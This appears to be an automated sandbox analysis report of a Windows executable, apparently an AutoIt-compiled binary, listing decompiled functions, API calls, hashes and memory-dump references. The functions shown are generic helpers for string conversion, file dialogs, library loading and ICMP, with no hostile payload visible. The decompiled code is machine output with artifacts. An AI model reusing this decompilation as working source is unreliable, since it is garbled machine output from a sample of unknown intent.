                                                                                                                                                                            • Opcode ID: e0584e4c7655dfb437a781e80413a43f0e0ba7060e64afa03ba383c8918c4af6
                                                                                                                                                                            • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                                                                                            • Opcode Fuzzy Hash: e0584e4c7655dfb437a781e80413a43f0e0ba7060e64afa03ba383c8918c4af6
                                                                                                                                                                            • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004359C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 80%
                                                                                                                                                                            			E004359C4(char* _a4, int _a8) {
				void* __ebx;
				void* __edi;
				int _t10;
				signed int _t11;
				void* _t16;
				void* _t17;
				short* _t18;
				signed int _t23;
				int _t26;
				int _t27;
				char* _t29;
				void* _t30;

				_t29 = _a4;
				_t27 = _a8;
				if(_t27 == 0xffffffff && _t29 != 0) {
					_t16 = E004137E0(_t29);
					_t30 = _t30 + 4;
					_t27 = _t16 + 1;
				}
				_t10 = MultiByteToWideChar(0, 1, _t29, _t27, 0, 0);
				_t26 = _t10;
				if(_t26 != 0) {
					__eflags = _t26 - _t27;
					_push(_t17);
					_t11 = _t27;
					if(__eflags >= 0) {
						_t11 = _t26;
					}
					_t23 =  ~(0 | __eflags > 0x00000000) | _t11 * 2;
					__eflags = _t23;
					_push(_t23);
					_t18 = E0041171A(_t17, _t26, _t23);
					MultiByteToWideChar(0, 1, _t29, _t27, _t18, _t26);
					return _t18;
				} else {
					return _t10;
				}
			}















                                                                                                                                                                            0x004359c5
                                                                                                                                                                            0x004359ca
                                                                                                                                                                            0x004359d2
                                                                                                                                                                            0x004359d9
                                                                                                                                                                            0x004359e0
                                                                                                                                                                            0x004359e3
                                                                                                                                                                            0x004359e3
                                                                                                                                                                            0x004359ee
                                                                                                                                                                            0x004359f4
                                                                                                                                                                            0x004359f8
                                                                                                                                                                            0x00435a00
                                                                                                                                                                            0x00435a02
                                                                                                                                                                            0x00435a06
                                                                                                                                                                            0x00435a08
                                                                                                                                                                            0x00435a0a
                                                                                                                                                                            0x00435a0a
                                                                                                                                                                            0x00435a13
                                                                                                                                                                            0x00435a13
                                                                                                                                                                            0x00435a15
                                                                                                                                                                            0x00435a1f
                                                                                                                                                                            0x00435a28
                                                                                                                                                                            0x00435a34
                                                                                                                                                                            0x004359fd
                                                                                                                                                                            0x004359fd
                                                                                                                                                                            0x004359fd

                                                                                                                                                                            APIs
                                                                                                                                                                            • _strlen.LIBCMT ref: 004359D9
                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00454524,?,000000FF,?,?,00000000,?), ref: 004359EE
                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,?), ref: 00435A28
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharMultiWide$_strlen
                                                                                                                                                                            • String ID: pYhv@hhv
                                                                                                                                                                            • API String ID: 1433632580-613977542
                                                                                                                                                                            • Opcode ID: 1c3acc6ecef2f5f73f27384675b20890d65a8522cbe30329b0b4a88934642d6f
                                                                                                                                                                            • Instruction ID: d863a4063d19d8be9efec74c63f0bad2ab38fa4bf4e713b2c19000ab4b28c911
                                                                                                                                                                            • Opcode Fuzzy Hash: 1c3acc6ecef2f5f73f27384675b20890d65a8522cbe30329b0b4a88934642d6f
                                                                                                                                                                            • Instruction Fuzzy Hash: 11F028733412147BD22415BA6C86FABBA5CDBC47B9F14063FFB1D9B3D0D9959C0042A4
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F3B0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 67%
                                                                                                                                                                            			E0040F3B0(short* __eax, char* __edx, void* __esi, void* __ebp, void* __fp0) {
				intOrPtr _v0;
				intOrPtr _v28;
				intOrPtr _v36;
				char* _v40;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char* _v76;
				intOrPtr _v84;
				char _v88;
				void* __ebx;
				void* __edi;
				void* _t18;
				void* _t26;
				char* _t29;
				short* _t34;
				void* _t35;
				void* _t36;
				void* _t40;

				_t40 = __fp0;
				_t36 = __ebp;
				_t35 = __esi;
				_t32 = __edx;
				_t34 = __eax;
				 *((char*)(__esi + 3)) =  *0x497290;
				_t39 =  *__eax;
				if( *__eax == 0) {
					_t32 =  &_v88;
					 *_t29 = 1;
					E004131F0(__eax,  &_v88, 0, 0x58);
					_v88 = 0x58;
					_v40 = L"Run Script:";
					_v84 = 0;
					_v60 = _t34;
					_v56 = 0x104;
					_v76 = L"AutoIt script files (*.au3, *.a3x)";
					_v64 = 1;
					_v36 = 0x1804;
					_v28 = L"au3";
					_t18 =  *0x4820c0( &_v88);
					__eflags = _t18;
					if(_t18 != 0) {
						goto L1;
					}
					return 0;
				}
				L1:
				E0040FFB0(_t34, _t26, _t32, _t36);
				E00410130(_t34, _t34, _t35);
				_push(_v0);
				_push(E00410020(_t35, _t34, _t34, _t36));
				_push(_t35);
				return E0040F400(_t34, _v0, _t39, _t40);
			}






















                                                                                                                                                                            0x0040f3b0
                                                                                                                                                                            0x0040f3b0
                                                                                                                                                                            0x0040f3b0
                                                                                                                                                                            0x0040f3b0
                                                                                                                                                                            0x0040f3b5
                                                                                                                                                                            0x0040f3bc
                                                                                                                                                                            0x0040f3bf
                                                                                                                                                                            0x0040f3c3
                                                                                                                                                                            0x0042ccf6
                                                                                                                                                                            0x0042ccfd
                                                                                                                                                                            0x0042cd00
                                                                                                                                                                            0x0042cd0d
                                                                                                                                                                            0x0042cd15
                                                                                                                                                                            0x0042cd1d
                                                                                                                                                                            0x0042cd25
                                                                                                                                                                            0x0042cd29
                                                                                                                                                                            0x0042cd31
                                                                                                                                                                            0x0042cd39
                                                                                                                                                                            0x0042cd41
                                                                                                                                                                            0x0042cd49
                                                                                                                                                                            0x0042cd51
                                                                                                                                                                            0x0042cd57
                                                                                                                                                                            0x0042cd59
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042cd5f
                                                                                                                                                                            0x0040f3c9
                                                                                                                                                                            0x0040f3cd
                                                                                                                                                                            0x0040f3d4
                                                                                                                                                                            0x0040f3dd
                                                                                                                                                                            0x0040f3e7
                                                                                                                                                                            0x0040f3e8
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 0042CD00
                                                                                                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,?,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,004A8E80,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                              • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                                                                                              • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                                                                                              • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                                                                                              • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                                                                                              • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                                                                                              • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Path$FullName_wcscpy$DesktopFolderFromListMalloc_memset
                                                                                                                                                                            • String ID: $OH$@OH$X
                                                                                                                                                                            • API String ID: 1198364232-1394974532
                                                                                                                                                                            • Opcode ID: 7062e3e3c76385fe5eccc206a12053cde1d52f0c1f3111404c53ffbe6451d0d0
                                                                                                                                                                            • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                                                                                            • Opcode Fuzzy Hash: 7062e3e3c76385fe5eccc206a12053cde1d52f0c1f3111404c53ffbe6451d0d0
                                                                                                                                                                            • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F580 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 75%
                                                                                                                                                                            			E0040F580(short* __ebx, void* __edi) {
				int _t1;
				void* _t6;
				short* _t7;
				void* _t8;
				int _t9;
				signed int _t11;
				int _t12;
				char* _t15;
				void* _t17;

				_t8 = __edi;
				_t7 = __ebx;
				if(__ebx == 0) {
					_t12 = _t11 | 0xffffffff;
				} else {
					_t6 = E004112D5(__ebx);
					_t17 = _t17 + 4;
					_t12 = _t6 + 1;
				}
				_t1 = WideCharToMultiByte(0, 0, _t7, _t12, 0, 0, 0, 0);
				if(_t1 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_push(_t8);
					_t9 = _t1;
					_t22 = _t9 - _t12;
					if(_t9 < _t12) {
						_push(_t12);
					} else {
						_push(_t9);
					}
					_t15 = E0041171A(_t7, _t9, _t22);
					WideCharToMultiByte(0, 0, _t7, _t12, _t15, _t9, 0, 0);
					return _t15;
				}
			}












                                                                                                                                                                            0x0040f580
                                                                                                                                                                            0x0040f580
                                                                                                                                                                            0x0040f583
                                                                                                                                                                            0x00429440
                                                                                                                                                                            0x0040f589
                                                                                                                                                                            0x0040f58a
                                                                                                                                                                            0x0040f591
                                                                                                                                                                            0x0040f594
                                                                                                                                                                            0x0040f594
                                                                                                                                                                            0x0040f5a3
                                                                                                                                                                            0x0040f5ab
                                                                                                                                                                            0x0040f5d8
                                                                                                                                                                            0x0040f5db
                                                                                                                                                                            0x0040f5ad
                                                                                                                                                                            0x0040f5ae
                                                                                                                                                                            0x0040f5af
                                                                                                                                                                            0x0040f5b1
                                                                                                                                                                            0x0040f5b3
                                                                                                                                                                            0x0040f5dc
                                                                                                                                                                            0x0040f5b5
                                                                                                                                                                            0x0040f5b5
                                                                                                                                                                            0x0040f5b5
                                                                                                                                                                            0x0040f5c3
                                                                                                                                                                            0x0040f5cc
                                                                                                                                                                            0x0040f5d7
                                                                                                                                                                            0x0040f5d7

                                                                                                                                                                            APIs
                                                                                                                                                                            • _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharMultiWide$_wcslen
                                                                                                                                                                            • String ID: @hhv
                                                                                                                                                                            • API String ID: 2761822629-3906349087
                                                                                                                                                                            • Opcode ID: b1ec281838bf579c1f74577a96b69a1ca6b01ec1e8905f0611fe7981604f63ba
                                                                                                                                                                            • Instruction ID: add82c1a15fe56799657d36950db1f36d90d7688068bc3e0bea1e6daec25b34e
                                                                                                                                                                            • Opcode Fuzzy Hash: b1ec281838bf579c1f74577a96b69a1ca6b01ec1e8905f0611fe7981604f63ba
                                                                                                                                                                            • Instruction Fuzzy Hash: A8F0593138522437F13029762C46FAB698C8B42F79F350136B701F91D1D9E86C0141BD
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00424F47 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 65%
                                                                                                                                                                            			E00424F47() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x483e08;
					_v28 =  *0x483e00;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}







                                                                                                                                                                            0x00424f4c
                                                                                                                                                                            0x00424f54
                                                                                                                                                                            0x00424f6b
                                                                                                                                                                            0x00424f17
                                                                                                                                                                            0x00424f20
                                                                                                                                                                            0x00424f2c
                                                                                                                                                                            0x00424f2f
                                                                                                                                                                            0x00424f32
                                                                                                                                                                            0x00424f34
                                                                                                                                                                            0x00424f37
                                                                                                                                                                            0x00424f3c
                                                                                                                                                                            0x00424f46
                                                                                                                                                                            0x00424f3e
                                                                                                                                                                            0x00424f42
                                                                                                                                                                            0x00424f42
                                                                                                                                                                            0x00424f56
                                                                                                                                                                            0x00424f5c
                                                                                                                                                                            0x00424f64
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00424f66
                                                                                                                                                                            0x00424f66
                                                                                                                                                                            0x00424f6a
                                                                                                                                                                            0x00424f6a
                                                                                                                                                                            0x00424f64

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetModuleHandleA.KERNEL32(KERNEL32,0041AEF9), ref: 00424F4C
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00424F5C
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressHandleModuleProc
                                                                                                                                                                            • String ID: IsProcessorFeaturePresent$KERNEL32
                                                                                                                                                                            • API String ID: 1646373207-3105848591
                                                                                                                                                                            • Opcode ID: e8a2c195ee76dfd59a84a35b1cdf9e15a3b06e47dea4a5400648535d534bf17f
                                                                                                                                                                            • Instruction ID: 69bd3651b8917f7fc34e3109133611cda39c57594410afc054872b2319d2a534
                                                                                                                                                                            • Opcode Fuzzy Hash: e8a2c195ee76dfd59a84a35b1cdf9e15a3b06e47dea4a5400648535d534bf17f
                                                                                                                                                                            • Instruction Fuzzy Hash: F7F03030A00A19D2DB006FB1FE1A66F7AB5FBC0B43F920895E591A0084DFB58571838A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043416A(struct HINSTANCE__** _a4) {
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__** _t6;

				_t6 = _a4;
				if(_t6[2] == 0) {
					_t4 = LoadLibraryA("kernel32.dll");
					 *_t6 = _t4;
					if(_t4 != 0) {
						_t5 = GetProcAddress(_t4, "GetSystemWow64DirectoryW");
						_t6[2] = _t5;
						return _t5;
					}
				}
				return _t4;
			}






                                                                                                                                                                            0x0043416b
                                                                                                                                                                            0x00434173
                                                                                                                                                                            0x0043417a
                                                                                                                                                                            0x00434180
                                                                                                                                                                            0x00434184
                                                                                                                                                                            0x0043418c
                                                                                                                                                                            0x00434192
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434192
                                                                                                                                                                            0x00434184
                                                                                                                                                                            0x00434196

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                                            • API String ID: 2574300362-1816364905
                                                                                                                                                                            • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                            • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                                                                                            • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                            • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004343CE(struct HINSTANCE__** _a4) {
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__** _t6;

				_t6 = _a4;
				if(_t6[2] == 0) {
					_t4 = LoadLibraryA("ICMP.DLL");
					 *_t6 = _t4;
					if(_t4 != 0) {
						_t5 = GetProcAddress(_t4, "IcmpSendEcho");
						_t6[2] = _t5;
						return _t5;
					}
				}
				return _t4;
			}






                                                                                                                                                                            0x004343cf
                                                                                                                                                                            0x004343d7
                                                                                                                                                                            0x004343de
                                                                                                                                                                            0x004343e4
                                                                                                                                                                            0x004343e8
                                                                                                                                                                            0x004343f0
                                                                                                                                                                            0x004343f6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004343f6
                                                                                                                                                                            0x004343e8
                                                                                                                                                                            0x004343fa

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,00000000,?,?,00000101,?,?), ref: 004343DE
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                                            • API String ID: 2574300362-58917771
                                                                                                                                                                            • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                            • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                                                                                            • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                            • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004343FD(struct HINSTANCE__** _a4) {
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__** _t6;

				_t6 = _a4;
				if(_t6[2] == 0) {
					_t4 = LoadLibraryA("ICMP.DLL");
					 *_t6 = _t4;
					if(_t4 != 0) {
						_t5 = GetProcAddress(_t4, "IcmpCloseHandle");
						_t6[2] = _t5;
						return _t5;
					}
				}
				return _t4;
			}






                                                                                                                                                                            0x004343fe
                                                                                                                                                                            0x00434406
                                                                                                                                                                            0x0043440d
                                                                                                                                                                            0x00434413
                                                                                                                                                                            0x00434417
                                                                                                                                                                            0x0043441f
                                                                                                                                                                            0x00434425
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434425
                                                                                                                                                                            0x00434417
                                                                                                                                                                            0x00434429

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                                            • API String ID: 2574300362-3530519716
                                                                                                                                                                            • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                            • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                                                                                            • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
